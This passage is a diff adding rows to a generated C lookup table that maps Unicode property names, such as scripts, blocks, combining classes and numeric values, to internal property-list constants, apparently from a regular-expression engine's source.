+  {     0,   974,  1484,  24,   2, PL_CCC__BR }   /* canonicalcombiningclass=br */,
+  {     0,  7459,  8244,   3,   4, PL_BHKS }   /* sc=bhks */,
+  {     1,  8504,  3084,   3,   3, PL_SB__SE }   /* sb=sep */,
+  {     4,   184,  8021,   2,   5, PL_GREXT }   /* isgrext */,
+  {    14,  3526,  3581,  17,   2, PL_RI }   /* regionalindicator=t */,
+  {     1,   974,  8643,  27,   2, PL_CCC__22 }   /* canonicalcombiningclass=ccc22 */,
+  {     0,  8096,  2841,   4,   6, PL_COPT }   /* scx=coptic */,
+  {     0,  6890,  2674,   4,  19, PL_SUNDANESESUP }   /* blk=sundanesesupplement */,
+  {     1,  7689,  2150,   3,  19, PL_HLUW }   /* isanatolianhieroglyphs */,
+  {     5,  2229,   217,  17,   1, PL_L_AMP_ }   /* generalcategory=l_ */,
+  {     0,  5284,  7997,  13,   2, PL_CI }   /* caseignorable=y */,
+  {     0,  7288,  7992,   8,   4, PL_SC__BUHD }   /* script=buhid */,
+  {     3,  8096,  2484,   4,   4, PL_EGYP }   /* scx=egyp */,
+  {    10,  3129,  8372,  17,   4, PL_LATN }   /* scriptextensions=latn */,
+  {     9,  7288,  8560,   7,   4, PL_TIBT }   /* script=tibt */,
+  {     7,  8096,  4509,   4,  15, PL_SARB }   /* scx=oldsoutharabian */,
+  {     0,  8096,  8044,   4,   4, PL_PHLI }   /* scx=phli */,
+  {     3,  6210,   541,   3,  29, PL_CJKEXTB }   /* incjkunifiedideographsextensionb */,
+  {     0,   184,  7492,   2,   7, PL_KNDA }   /* iskannada */,
+  {     0,  1417,    48,   9,   1, PL_P }   /* category=p */,
+  {     0,  8240,  2086,   3,  21, PL_BC__PDI }   /* bc=popdirectionalisolate */,
+  {     6,  2229,    47,  17,   1, PL_LM }   /* generalcategory=lm */,
+  {     9,  7380,  8633,   4,   3, PL_CCC__103 }   /* ccc=103 */,
+  {     0,  7380,  8675,   4,   3, PL_CCC__BL }   /* ccc=218 */,
+  {     0,  6890,  5705,   4,  12, PL_CYRILLICEXTC }   /* blk=cyrillicextc */,
+  {    17,  3129,  7499,  17,   7, PL_KALI }   /* scriptextensions=kayahli */,
+  {    11,  6756,  7997,  10,   2, PL_SD }   /* softdotted=y */,
+  {     0,  4420,  1077,   4,   2, PL_CPRT }   /* iscprt */,
+  {     1,  4542,  5434,   3,   3, PL_TAML }   /* istaml */,
+  {     1,  8240,  2088,   3,   3, PL_BC__PDI }   /* bc=pdi */,
+  {     0,   184,  1354,   2,  24, PL_COMPEX }   /* isfullcompositionexclusion */,
+  {     1,  5645,  2913,  10,  18, PL_BC__ET }   /* bidiclass=europeanterminator */,
+  {     0,  8488,     0,   4,   0, PL_RJNG }   /* rjng */,
+  {     2,  7689,  5233,   3,  12, PL_AEGEANNUMBERS }   /* isaegeannumbers */,
+  {     0,  5657,  7768,   5,   6, -PL_BIDIM }   /* bidim=false */,
+  {     0,    21,  1589,   2,  23, PL_LATINEXTADDITIONAL }   /* inlatinextendedadditional */,
+  {     2,  3129,  8428,  17,   4, PL_NEWA }   /* scriptextensions=newa */,
+  {     1,  1206,  7640,   3,   6, PL_INTAITHAM }   /* intaitham */,
+  {     1,  3129,  7208,  17,   8, PL_HIRA }   /* scriptextensions=hiragana */,
+  {     0,  7288,  8412,   7,   4, PL_MTEI }   /* script=mtei */,
+  {     0,  7136,   568,   6,   2, PL_NB }   /* block=nb */,
+  {     3,  7136,  4614,   6,   8, PL_VEDICEXT }   /* block=vedicext */,
+  {     0,  1960,     0,  21,   0, PL_CJKRADICALSSUP }   /* cjkradicalssupplement */,
+  {     0,  7227,  1887,   5,   5, PL_POSIXLOWER }   /* posixlower */,
+  {     2,  7459,  3458,   3,   4, PL_SC__MANI }   /* sc=mani */,
+  {     1,  2859,  1209,  18,   5, PL_DT__SUP }   /* decompositiontype=super */,
+  {     0,  8086,  7768,   5,   6, -PL_QMARK }   /* qmark=false */,
+  {     0,  8472,     0,   4,   0, PL_PRTI }   /* prti */,
+  {     8,  5544,  8717,  13,   3, PL_NV__3_SLASH_4 }   /* numericvalue=3/4 */,
+  {     0,  5250,     0,   8,   0, PL_XPOSIXXDIGIT }   /* hexdigit */,
+  {     4,  6221,  1029,   4,   4, PL_INCOPTIC }   /* incoptic */,
+  {     2,  7380,  8187,   4,   2, PL_CCC__27 }   /* ccc=27 */,
+  {     0,  8296,     0,   4,   0, PL_GONM }   /* gonm */,
+  {     2,  4314,  8133,  13,   3, PL_JG__AIN }   /* joininggroup=ain */,
+  {     3,  8572,  4466,   3,   2, PL_WB__DQ }   /* wb=dq */,
+  {     0,  3738,     0,   9,   0, PL_LATIN1 }   /* latin1sup */,
+  {     1,  1746,  8935,  21,   2, PL_GCB__XX }   /* graphemeclusterbreak=xx */,
+  {     5,  7136,  7534,   6,   7, PL_NB }   /* block=noblock */,
+  {     1,  8340,  6516,   3,  10, PL_JG__AFRICANFEH }   /* jg=africanfeh */,
+  {     0,  6890,   892,   4,  18, PL_INVS }   /* blk=variationselectors */,
+  {     9,  4659,     0,  14,   0, PL_ANCIENTSYMBOLS }   /* ancientsymbols */,
+  {     9,  8572,    18,   3,   2, PL_RI }   /* wb=ri */,
+  {     3,  6890,  2128,   4,  21, PL_YIJING }   /* blk=yijinghexagramsymbols */,
+  {     0,  8096,    78,   4,   6, PL_ARAB }   /* scx=arabic */,
+  {     3,  2859,  3191,  18,   3, PL_DT__MED }   /* decompositiontype=med */,
+  {     0,  5645,  8801,  10,   3, PL_BC__LRE }   /* bidiclass=lre */,
+  {     7,  8816,  8905,   3,   2, PL_NV__39 }   /* nv=39 */,
+  {     2,  7344,  7951,   4,   5, PL_XIDS }   /* xids=true */,
+  {     2,  7136,  3594,   6,  16, PL_ARABICSUP }   /* block=arabicsupplement */,
+  {     1,  7288,  8116,   7,   5, PL_SC__TAML }   /* script=tamil */,
+  {    18,  7459,  8420,   3,   4, PL_NARB }   /* sc=narb */,
+  {    11,  6210,  3469,   3,   3, PL_INCHAM }   /* incham */,
+  {     0,  6210,  3675,   3,  15, PL_CYPRIOTSYLLABARY }   /* incypriotsyllabary */,
+  {     2,  7459,  7527,   3,   7, PL_SC__MULT }   /* sc=multani */,
+  {     0,  6505,     0,  11,   0, PL_YISYLLABLES }   /* yisyllables */,
+  {     8,   184,  2617,   2,  19, PL_MODIFIERTONELETTERS }   /* ismodifiertoneletters */,
+  {     0,  8011,    38,   3,   2, PL_XPOSIXDIGIT }   /* gc=nd */,
+  {     0,  7459,  6005,   3,  12, PL_HUNG }   /* sc=oldhungarian */,
+  {     2,  6890,  2895,   4,  18, PL_ETHIOPICSUP }   /* blk=ethiopicsupplement */,
+  {     0,  6263,  5107,  10,  14, PL_LB__PO }   /* linebreak=postfixnumeric */,
+  {     2,  5645,    37,  10,   2, PL_BC__EN }   /* bidiclass=en */,
+  {    10,  8376,   496,   3,   7, PL_LB__NU }   /* lb=numeric */,
+  {     0,  6098,     0,  11,   0, PL_L_AMP_ }   /* casedletter */,
+  {     0,  8011,    48,   3,   1, PL_P }   /* gc=p */,
+  {     3,  8340,  3475,   3,  17, PL_JG__MANICHAEANHUNDRED }   /* jg=manichaeanhundred */,
+  {     6,  8011,  2521,   3,   2, PL_PF }   /* gc=pf */,
+  {     3,  2236,   217,  10,   1, PL_L_AMP_ }   /* category=l_ */,
+  {     0,  3424,  3581,  17,   2, PL_IDSB }   /* idsbinaryoperator=t */,
+  {     0,  7459,  8260,   3,   4, PL_SC__CAKM }   /* sc=cakm */,
+  {     0,   235,     0,   2,   0, PL_LO }   /* lo */,
+  {     6,  6713,  8846,   3,   3, PL_IN__2_DOT_1 }   /* in=v21 */,
+  {     1,  7288,  2107,   7,   7, PL_SC__SINH }   /* script=sinhala */,
+  {    13,  7816,  3581,   6,   2, PL_GRBASE }   /* grbase=t */,
+  {     3,  8096,  7019,   4,   4, PL_PERM }   /* scx=perm */,
+  {     0,  8096,  8046,   4,   4, PL_LIMB }   /* scx=limb */,
+  {     1,  8096,  8300,   4,   4, PL_GREK }   /* scx=grek */,
+  {     8,   184,  1877,   3,  20, PL_CWL }   /* ischangeswhenlowercased */,
+  {    31,  6890,  6766,   4,  10, PL_SUPARROWSA }   /* blk=suparrowsa */,
+  {     3,  8011,  5136,   4,  13, PL_ZS }   /* gc=spaceseparator */,
+  {     9,  6890,  2004,   6,  19, PL_ININSCRIPTIONALPARTHIAN }   /* blk=inscriptionalparthian */,
+  {     0,  1234,     0,  24,   0, PL_ARABICPFA }   /* arabicpresentationformsa */,
+  {     1,   974,  8684,  24,   3, PL_CCC__L }   /* canonicalcombiningclass=224 */,
+  {     5,   184,  8432,   2,   3, PL_NKO }   /* isnko */,
+  {     1,  7288,  7145,   8,   7, PL_SC__BUGI }   /* script=buginese */,
+  {     0,  8780,  3581,   3,   2, PL_CWT }   /* cwt=t */,
+  {     1,  3129,  8308,  17,   4, PL_GURU }   /* scriptextensions=guru */,
+  {     3,  6890,  3965,   4,  13, PL_MATHOPERATORS }   /* blk=mathoperators */,
+  {     2,   690,     0,  30,   0, PL_CUNEIFORMNUMBERS }   /* cuneiformnumbersandpunctuation */,
+  {     0,    18,  7768,   2,   6, -PL_RI }   /* ri=false */,
+  {    12,  7478,  6767,   3,   9, PL_SUPARROWSA }   /* issuparrowsa */,
+  {     1,   974,  1483,  24,   2, PL_CCC__DB }   /* canonicalcombiningclass=db */,
+  {     4,  7457,  7112,   5,   8, PL_INSC__AVAGRAHA }   /* insc=avagraha */,
+  {     0,  7798,  3223,   6,   2, -PL_COMPEX }   /* compex=n */,
+  {     4,  8376,   534,   3,   2, PL_LB__NS }   /* lb=ns */,
+  {    13,  7436,     0,   7,   0, PL_ELBA }   /* elbasan */,
+  {     4,  3129,  8600,  17,   4, PL_QAAI }   /* scriptextensions=zinh */,
+  {     3,  6890,  7192,   4,   8, PL_INGUJARATI }   /* blk=gujarati */,
+  {     8,  6706,  8882,  10,   3, PL_IN__6_DOT_3 }   /* presentin=v63 */,
+  {     0,  7136,  7387,   6,   7, PL_CJKEXTA }   /* block=cjkexta */,
+  {    13,  8096,  7569,   4,   7, PL_OSMA }   /* scx=osmanya */,
+  {     2,  2636,     0,   9,   0, PL_MONG }   /* mongolian */,
+  {     0,  6890,  4827,   4,  14, PL_KANGXI }   /* blk=kangxiradicals */,
+  {     0,  7136,   802,   6,   6, PL_ARROWS }   /* block=arrows */,
+  {     2,  4542,  7647,   3,   6, PL_TAVT }   /* istaiviet */,
+  {    13,  8795,    25,   3,   1, PL_INVS }   /* invs */,
+  {     0,  7459,  7359,   3,   7, PL_AVST }   /* sc=avestan */,
+  {     1,  3424,  7768,  17,   2, -PL_IDSB }   /* idsbinaryoperator=f */,
+  {     2,  6890,  8428,   4,   4, PL_INNEWA }   /* blk=newa */,
+  {     0,  3129,  2636,  17,   4, PL_MONG }   /* scriptextensions=mong */,
+  {     2,  7689,  7957,   3,   4, PL_ADLM }   /* isadlam */,
+  {     0,   184,  5079,   2,  14, PL_MN }   /* isnonspacingmark */,
+  {     0,  7136,  6567,   7,   9, PL_BOXDRAWING }   /* block=boxdrawing */,
+  {     8,  7459,  8540,   3,   4, PL_SC__TAML }   /* sc=taml */,
+  {     4,  6483,  3223,   4,   3, -PL_XIDC }   /* xidc=no */,
+  {     1,  7227,    96,   5,   5, PL_POSIXALPHA }   /* posixalpha */,
+  {     0,  7816,  7768,   6,   2, -PL_GRBASE }   /* grbase=f */,
+  {     0,  7288,  8061,   7,   5, PL_OGAM }   /* script=ogham */,
+  {     2,  2841,     0,  18,   0, PL_COPTICEPACTNUMBERS }   /* copticepactnumbers */,
+  {     8,  3129,  7604,  17,   4, PL_SIDD }   /* scriptextensions=sidd */,
+  {     0,  8096,  8111,   4,   5, PL_TAKR }   /* scx=takri */,
+  {     3,   974,  8051,  24,   5, PL_CCC__7 }   /* canonicalcombiningclass=nukta */,
+  {     4,  7478,  1210,   3,  24, PL_SUPERANDSUB }   /* issuperscriptsandsubscripts */,
+  {     2,  6472,  8789,  10,   3, PL_WB__EBG }   /* wordbreak=ebg */,
+  {     2,  5544,  8168,  13,   4, PL_NV__17_SLASH_2 }   /* numericvalue=17/2 */,
+  {     3,  5544,  8617,  13,   2, PL_NV__31 }   /* numericvalue=31 */,
+  {     0,  7359,     0,   7,   0, PL_AVST }   /* avestan */,
+  {     0,  4402,   224,   3,   2, PL_INMRO }   /* inmro */,
+  {     0,  2990,  6538,   4,   8, PL_ARABICEXTA }   /* inarabicexta */,
+  {     0,  7288,  8600,   7,   4, PL_SC__QAAI }   /* script=zinh */,
+  {     0,  6890,  7120,   4,   8, PL_INBALINESE }   /* blk=balinese */,
+  {     1,  8086,  3581,   5,   2, PL_QMARK }   /* qmark=t */,
+  {     9,  7380,  7714,   4,   2, PL_CCC__30 }   /* ccc=30 */,
+  {     1,  8416,     0,   4,   0, PL_MYMR }   /* mymr */,
+  {     4,  8026,  3165,   5,  18, PL_INPC__TOPANDLEFTANDRIGHT }   /* inpc=topandleftandright */,
+  {     0,   184,  4104,   2,   8, PL_BAMUMSUP }   /* isbamumsup */,
+  {     0,  4284,  4042,  14,  16, PL_LB__H3 }   /* hangulsyllabletype=lvtsyllable */,
+  {     0,   184,   183,   2,  20, PL_MISCSYMBOLS }   /* ismiscellaneoussymbols */,
+  {     0,  2895,     0,   8,   0, PL_ETHI }   /* ethiopic */,
+  {     0,   808,     0,  28,   0, PL_PHONETICEXTSUP }   /* phoneticextensionssupplement */,
+  {     6,   184,   601,   3,  29, PL_CJKEXTD }   /* iscjkunifiedideographsextensiond */,
+  {     0,  8340,  4785,   3,  14, PL_JG__HAMZAONHEHGOAL }   /* jg=hamzaonhehgoal */,
+  {     0,  5968,  7017,   3,   8, PL_INOLDPERMIC }   /* inoldpermic */,
+  {     8,  5583,  3223,  13,   3, -PL_QMARK }   /* quotationmark=no */,
+  {     0,  3129,  6008,  17,   4, PL_HUNG }   /* scriptextensions=hung */,
+  {     0,  6263,  8921,  10,   2, PL_LB__BK }   /* linebreak=bk */,
+  {     0,  3129,  7436,  17,   4, PL_ELBA }   /* scriptextensions=elba */,
+  {     1,   184,  2788,   3,  10, PL_CHEROKEESUP }   /* ischerokeesup */,
+  {     1,  4284,  3219,  14,  18, PL_HST__NA }   /* hangulsyllabletype=notapplicable */,
+  {     0,  8011,    24,   3,   1, PL_L }   /* gc=l */,
+  {     4,    11,  3223,   3,   2, -PL_DIA }   /* dia=n */,
+  {     1,  1426,  1520,  22,  23, PL_INSC__CONSONANTPRECEDINGREPHA }   /* indicsyllabiccategory=consonantprecedingrepha */,
+  {     0,  4314,  5023,  13,  14, PL_JG__MANICHAEANYODH }   /* joininggroup=manichaeanyodh */,
+  {     1,  4314,  6523,  13,   3, PL_JG__FEH }   /* joininggroup=feh */,
+  {     3,  8016,  3914,   4,   5, PL_GCB__XX }   /* gcb=other */,
+  {     0,  3129,  8116,  17,   5, PL_TAML }   /* scriptextensions=tamil */,
+  {     1,  7136,   892,   6,  28, PL_VSSUP }   /* block=variationselectorssupplement */,
+  {     3,  8096,  8584,   4,   4, PL_XSUX }   /* scx=xsux */,
+  {     0,  7459,  7590,   3,   7, PL_SC__SHRD }   /* sc=sharada */,
+  {     6,  7136,  6406,   6,  11, PL_INSORASOMPENG }   /* block=sorasompeng */,
+  {     2,   690,     0,   9,   0, PL_XSUX }   /* cuneiform */,
+  {     0,  7689,    27,   3,   2, PL_ALL }   /* isall */,
+  {     0,   186,  7997,   2,   4, PL_CE }   /* ce=yes */,
+  {     0,  7136,  2877,   6,  13, PL_DEVANAGARIEXT }   /* block=devanagariext */,
+  {     0,  8822,  3581,   3,   2, PL_PCM }   /* pcm=t */,
+  {     2,  8572,    34,   3,   6, PL_WB__EXTEND }   /* wb=extend */,
+  {     3,  6076,  7951,  11,   5, PL_BIDIC }   /* bidicontrol=true */,
+  {     2,  5134,  3511,   4,  15, PL_PATWS }   /* ispatternwhitespace */,
+  {     0,  1426,  6998,  22,   9, PL_INSC__NONJOINER }   /* indicsyllabiccategory=nonjoiner */,
+  {     5,  2236,  5814,  10,  11, PL_NL }   /* category=letternumber */,
+  {     4,  6613,  1379,   3,  23, PL_HIGHPUSURROGATES }   /* ishighprivateusesurrogates */,
+  {     0,  8288,  5969,   3,  12, PL_DT__NONCANON }   /* dt=noncanonical */,
+  {     0,  8816,  7738,   3,   6, PL_NV__600000 }   /* nv=600000 */,
+  {     0,  7200,     0,   8,   0, PL_GURU }   /* gurmukhi */,
+  {     0,  5544,  7714,  13,   6, PL_NV__300000 }   /* numericvalue=300000 */,
+  {     0,   184,  3738,   2,   6, PL_LATIN1 }   /* islatin1 */,
+  {     2,  8096,  8600,   4,   4, PL_QAAI }   /* scx=zinh */,
+  {     4,  8340,  5849,   3,  12, PL_JG__MALAYALAMLLA }   /* jg=malayalamlla */,
+  {     2,   184,  7128,   2,   4, PL_BASS }   /* isbass */,
+  {     0,  7459,  8091,   3,   5, PL_RUNR }   /* sc=runic */,
+  {     1,  3129,  8420,  17,   4, PL_NARB }   /* scriptextensions=narb */,
+  {    24,  4284,  3577,  14,  17, PL_GCB__T }   /* hangulsyllabletype=trailingjamo */,
+  {     0,  2100,   125,   3,   2, PL_OCR }   /* isocr */,
+  {     0,  6706,  8888,  10,   3, PL_IN__8 }   /* presentin=v80 */,
+  {     1,  8272,  7768,   4,   2, -PL_CWCF }   /* cwcf=f */,
+  {     8,  8248,  5488,   4,   4, PL_BPT__N }   /* bpt=none */,
+  {     2,  6210,  1940,   3,  20, PL_CJKCOMPATFORMS }   /* incjkcompatibilityforms */,
+  {     1,  5192,    59,   3,   3, PL_IDEO }   /* isideo */,
+  {     0,   974,  3262,  24,   9, PL_CCC__BL }   /* canonicalcombiningclass=belowleft */,
+  {     0,  7288,  7918,   7,   4, PL_SC__THAA }   /* script=thaa */,
+  {     0,  7136,  6806,   6,  10, PL_INWARANGCITI }   /* block=warangciti */,
+  {     0,  7288,  7882,   7,   6, PL_LYDI }   /* script=lydian */,
+  {     2,  1159,  7768,  25,   6, -PL_CWKCF }   /* changeswhennfkccasefolded=false */,
+  {     0,  7136,  7256,   6,   8, PL_KANAEXTA }   /* block=kanaexta */,
+  {     1,  4402,   317,   3,  32, PL_MISCMATHSYMBOLSB }   /* inmiscellaneousmathematicalsymbolsb */,
+  {     0,  4464,     0,  15,   0, PL_DT__CAN }   /* nfdquickcheck=n */,
+  {     3,    96,  3581,   5,   2, PL_XPOSIXALPHA }   /* alpha=t */,
+  {     0,  8816,  7702,   3,   2, PL_NV__20 }   /* nv=20 */,
+  {     2,  2229,  3084,  16,   9, PL_Z }   /* generalcategory=separator */,
+  {     0,  5544,  5219,  13,   4, PL_NV__1000 }   /* numericvalue=1000 */,
+  {     1,  6554,  4105,   3,   7, PL_BAMUMSUP }   /* inbamumsup */,
+  {     8,  8096,  7822,   4,   4, PL_HATR }   /* scx=hatr */,
+  {     6,  8001,     0,   5,   0, PL_XPOSIXCNTRL }   /* cntrl */,
+  {     0,  3594,     0,   9,   0, PL_ARABICSUP }   /* arabicsup */,
+  {     0,  6484,  7997,  10,   2, PL_IDC }   /* idcontinue=y */,
+  {    11,  1204,     0,   2,   0, PL_PO }   /* po */,
+  {     2,  7136,  7152,   6,   8, PL_INDUPLOYAN }   /* block=duployan */,
+  {     3,  8340,  7930,   3,   6, PL_JG__YUDHHE }   /* jg=yudhhe */,
+  {    17,  7459,  2787,   3,   4, PL_CHER }   /* sc=cher */,
+  {     1,  2985,  7997,  18,   2, PL_IDST }   /* idstrinaryoperator=y */,
+  {     4,  6713,  8876,   3,   3, PL_IN__6_DOT_1 }   /* in=v61 */,
+  {     9,  7136,  7527,   6,   7, PL_INMULTANI }   /* block=multani */,
+  {     7,  1426,  7688,  22,   7, PL_INSC__VISARGA }   /* indicsyllabiccategory=visarga */,
+  {    22,   184,  1919,   3,  20, PL_CWU }   /* ischangeswhenuppercased */,
+  {     1,  6554,  3611,   3,  10, PL_BOPOMOFOEXT }   /* inbopomofoext */,
+  {     3,  1701,  3581,   2,   2, PL_SD }   /* sd=t */,
+  {     6,  7457,  4058,   5,   5, PL_INSC__VOWEL }   /* insc=vowel */,
+  {    19,  2229,  3914,  16,  16, PL_PO }   /* generalcategory=otherpunctuation */,
+  {     0,    21,  7882,   2,   6, PL_INLYDIAN }   /* inlydian */,
+  {     4,  2985,  3223,   3,   3, -PL_IDS }   /* ids=no */,
+  {     4,  1887,  7997,   9,   2, PL_XPOSIXLOWER }   /* lowercase=y */,
+  {     2,  2108,  2543,   4,  17, PL_JAMOEXTA }   /* inhanguljamoextendeda */,
+  {     3,  7459,  8520,   3,   4, PL_SHAW }   /* sc=shaw */,
+  {    14,  8096,  1401,   4,   4, PL_SIND }   /* scx=sind */,
+  {     0,  7459,  8111,   3,   5, PL_SC__TAKR }   /* sc=takri */,
+  {     3,  7019,     0,   4,   0, PL_PERM }   /* perm */,
+  {     0,  3129,  6806,  17,   4, PL_WARA }   /* scriptextensions=wara */,
+  {     9,  4630,  1174,   3,   3, PL_UCAS }   /* isucas */,
+  {     0,  1346,  2053,   5,   5, PL_GREEKEXT }   /* ingreekext */,
+  {     1,  2990,  7106,   4,   6, PL_INARMENIAN }   /* inarmenian */,
+  {     0,   974,  5349,  24,  13, PL_CCC__IS }   /* canonicalcombiningclass=iotasubscript */,
+  {     9,  6890,   720,   4,  16, PL_ENCLOSEDALPHANUM }   /* blk=enclosedalphanum */,
+  {     0,    96,  7768,   5,   2, -PL_XPOSIXALPHA }   /* alpha=f */,
+  {     0,  8096,  2531,   4,   4, PL_MULT }   /* scx=mult */,
+  {     0,  6890,   570,   4,  30, PL_CJKEXTC }   /* blk=cjkunifiedideographsextensionc */,
+  {     0,  1426,  4434,  22,  15, PL_INSC__MODIFYINGLETTER }   /* indicsyllabiccategory=modifyingletter */,
+  {     0,  4479,  7996,   5,   5, PL_NFKCQC__Y }   /* nfkcqc=yes */,
+  {     1,  5544,  8136,  13,   4, PL_NV___MINUS_1_SLASH_2 }   /* numericvalue=-1/2 */,
+  {     1,   974,  8640,  27,   2, PL_CCC__18 }   /* canonicalcombiningclass=ccc18 */,
+  {     5,  5583,  7997,  13,   2, PL_QMARK }   /* quotationmark=y */,
+  {    33,  5544,  8188,  13,   4, PL_NV__7_SLASH_12 }   /* numericvalue=7/12 */,
+  {     4,  7136,  5400,   7,   7, PL_INBALINESE }   /* block=balinese */,
+  {     5,  5583,     0,  13,   0, PL_QMARK }   /* quotationmark */,
+  {    14,    11,  3581,   2,   2, PL_DI }   /* di=t */,
+  {     0,  7136,  7129,   7,   7, PL_INBASSAVAH }   /* block=bassavah */,
+  {     0,  7380,   727,   4,   2, PL_CCC__DA }   /* ccc=da */,
+  {     0,  2484,     0,   4,   0, PL_EGYP }   /* egyp */,
+  {     0,  3129,  4644,  17,  15, PL_ZANB }   /* scriptextensions=zanabazarsquare */,
+  {     1,  6554,  3611,   3,   7, PL_INBOPOMOFO }   /* inbopomofo */,
+  {     0,  1448,  3995,   3,  15, PL_SYRIACSUP }   /* insyriacsupplement */,
+  {     0,  7136,  5777,   6,   6, PL_INHEBREW }   /* block=hebrew */,
+  {     6,  7459,  8208,   3,   4, PL_AHOM }   /* sc=ahom */,
+  {     0,  5544,  8165,  13,   3, PL_NV__5_SLASH_2 }   /* numericvalue=5/2 */,
+  {    10,  5657,  3223,   5,   3, -PL_BIDIM }   /* bidim=no */,
+  {     0,  8096,  8404,   4,   4, PL_MLYM }   /* scx=mlym */,
+  {     1,  2100,  4525,   3,  14, PL_PS }   /* isopenpunctuation */,
+  {     1,  7136,   849,   6,  14, PL_PUA }   /* block=privateusearea */,
+  {     9,  7380,  8648,   7,   3, PL_CCC__130 }   /* ccc=ccc130 */,
+  {     3,   184,  8784,   3,   2, PL_CWU }   /* iscwu */,
+  {     4,  1918,  7951,  21,   5, PL_CWU }   /* changeswhenuppercased=true */,
+  {     1,  2990,  3596,   4,  14, PL_ARABICSUP }   /* inarabicsupplement */,
+  {     0,  8006,  7768,   5,   2, -PL_CWKCF }   /* cwkcf=f */,
+  {     0,  7136,  8046,   6,   5, PL_INLIMBU }   /* block=limbu */,
+  {     4,  2100,  3915,   3,   4, PL_C }   /* isother */,
+  {     0,  6890,  3882,   4,  16, PL_MYANMAREXTA }   /* blk=myanmarextendeda */,
+  {     1,  8508,  6554,   4,   3, PL_SC__LINB }   /* sc=linb */,
+  {     1,  3373,  1083,  17,   7, PL_EA__H }   /* eastasianwidth=halfwidth */,
+  {    10,  8816,  8137,   3,   3, PL_NV__1_SLASH_2 }   /* nv=1/2 */,
+  {     1,  3129,  4010,  17,   4, PL_TANG }   /* scriptextensions=tang */,
+  {     0,   184,  6318,   2,  11, PL_MYANMAREXTB }   /* ismyanmarextb */,
+  {     1,  7810,     0,   4,   0, PL_GOTH }   /* goth */,
+  {     8,  8011,   982,   3,   2, PL_L_AMP_ }   /* gc=lc */,
+  {     0,  4239,  7997,   4,   4, PL_DASH }   /* dash=yes */,
+  {     0,  7144,     0,   8,   0, PL_BUGI }   /* buginese */,
+  {     0,    21,  7499,   2,   7, PL_KALI }   /* inkayahli */,
+  {     6,  7136,  3147,   6,  11, PL_TAIXUANJING }   /* block=taixuanjing */,
+  {     2,  6210,  7409,   3,   6, PL_CJKEXTD }   /* incjkextd */,
+  {     8,  7478,  6429,   3,  10, PL_SUPERANDSUB }   /* issuperandsub */,
+  {     1,  6890,   349,   4,  33, PL_SUPMATHOPERATORS }   /* blk=supplementalmathematicaloperators */,
+  {     1,   974,  8899,  24,   2, PL_CCC__35 }   /* canonicalcombiningclass=35 */,
+  {     0,  7882,     0,   4,   0, PL_LYDI }   /* lydi */,
+  {     0,  3129,  8396,  17,   4, PL_MERC }   /* scriptextensions=merc */,
+  {     0,    11,  7768,   2,   2, -PL_DI }   /* di=f */,
+  {    10,  7459,  7639,   3,   7, PL_LANA }   /* sc=taitham */,
+  {     2,  8096,  3611,   5,   7, PL_BOPO }   /* scx=bopomofo */,
+  {     4,  1543,     0,  23,   0, PL_GEOMETRICSHAPESEXT }   /* geometricshapesextended */,
+  {     0,  6890,  3994,   4,   6, PL_INSYRIAC }   /* blk=syriac */,
+  {     0,  7457,  3978,   5,  16, PL_INSC__SYLLABLEMODIFIER }   /* insc=syllablemodifier */,
+  {     0,  1202,  3223,   3,   3, -PL_DEP }   /* dep=no */,
+  {     0,  6890,  7956,   4,   5, PL_INADLAM }   /* blk=adlam */,
+  {     0,   184,  4841,   2,  14, PL_LATINEXTB }   /* islatinextendedb */,
+  {     0,  8360,     0,   4,   0, PL_KTHI }   /* kthi */,
+  {     0,  1133,  7997,  26,   4, PL_PCM }   /* prependedconcatenationmark=yes */,
+  {     0,  6890,  1543,   4,  15, PL_GEOMETRICSHAPES }   /* blk=geometricshapes */,
+  {     1,   184,  3469,   3,   3, PL_CHAM }   /* ischam */,
+  {     2,  4542,  7919,   3,   3, PL_THAA }   /* isthaa */,
+  {     0,  7459,  2674,   3,   9, PL_SUND }   /* sc=sundanese */,
+  {     0,   184,  5258,   2,  13, PL_BLOCKELEMENTS }   /* isblockelements */,
+  {     0,  8006,  3581,   5,   2, PL_CWKCF }   /* cwkcf=t */,
+  {     0,  7288,  8056,   7,   5, PL_NSHU }   /* script=nushu */,
+  {     0,  8196,  8714,   4,   3, PL_AGE__3_DOT_2 }   /* age=3.2 */,
+  {    11,  1206,  8112,   3,   4, PL_INTAKRI }   /* intakri */,
+  {     0,  7288,  2895,   7,   4, PL_ETHI }   /* script=ethi */,
+  {     2,   184,  1184,   2,  25, PL_DI }   /* isdefaultignorablecodepoint */,
+  {     0,  6890,  3390,   4,  11, PL_ETHIOPICEXT }   /* blk=ethiopicext */,
+  {     0,  7136,  3111,   6,  18, PL_RUMI }   /* block=ruminumeralsymbols */,
+  {     1,  6890,   864,   4,  28, PL_SUPPUAB }   /* blk=supplementaryprivateuseareab */,
+  {     4,  8016,  4561,   4,   2, PL_WB__EB }   /* gcb=eb */,
+  {    10,  8816,  8140,   3,   4, PL_NV__1_SLASH_10 }   /* nv=1/10 */,
+  {     1,  2221,  5181,   3,  10, PL_GCB__V }   /* hst=voweljamo */,
+  {     1,  8096,  3583,   5,   3, PL_BRAI }   /* scx=brai */,
+  {     2,  8288,  8576,   3,   4, PL_EA__F }   /* dt=wide */,
+  {    42,  7288,  1160,   7,   4, PL_SC__HANG }   /* script=hang */,
+  {     8,   184,     2,   3,   1, PL_CI }   /* isci */,
+  {    49,  8011,  1372,   3,   2, PL_LU }   /* gc=lu */,
+  {     0,  8340,  8133,   3,   3, PL_JG__AIN }   /* jg=ain */,
+  {     0,  3129,  5427,  17,   9, PL_MLYM }   /* scriptextensions=malayalam */,
+  {     2,  6944,     0,   9,   0, PL_LATINEXTC }   /* latinextc */,
+  {     0,  6210,    43,   3,  35, PL_CJKCOMPATIDEOGRAPHSSUP }   /* incjkcompatibilityideographssupplement */,
+  {     0,  4542,  8561,   3,   3, PL_TIBT }   /* istibt */,
+  {     0,   184,  1681,   3,   5, PL_ZYYY }   /* iscommon */,
+  {     1,  6890,  6120,   4,  11, PL_DOMINO }   /* blk=dominotiles */,
+  {     1,  7597,     0,   7,   0, PL_SHAW }   /* shavian */,
+  {     3,    21,  1589,   2,  14, PL_LATINEXTA }   /* inlatinextendeda */,
+  {     0,  6210,   691,   3,   8, PL_INCUNEIFORM }   /* incuneiform */,
+  {     5,  1812,     0,  22,   0, PL_TRANSPORTANDMAP }   /* transportandmapsymbols */,
+  {     0,    21,  3738,   2,   6, PL_LATIN1 }   /* inlatin1 */,
+  {     0,  6613,  1082,   3,  25, PL_HALFANDFULLFORMS }   /* ishalfwidthandfullwidthforms */,
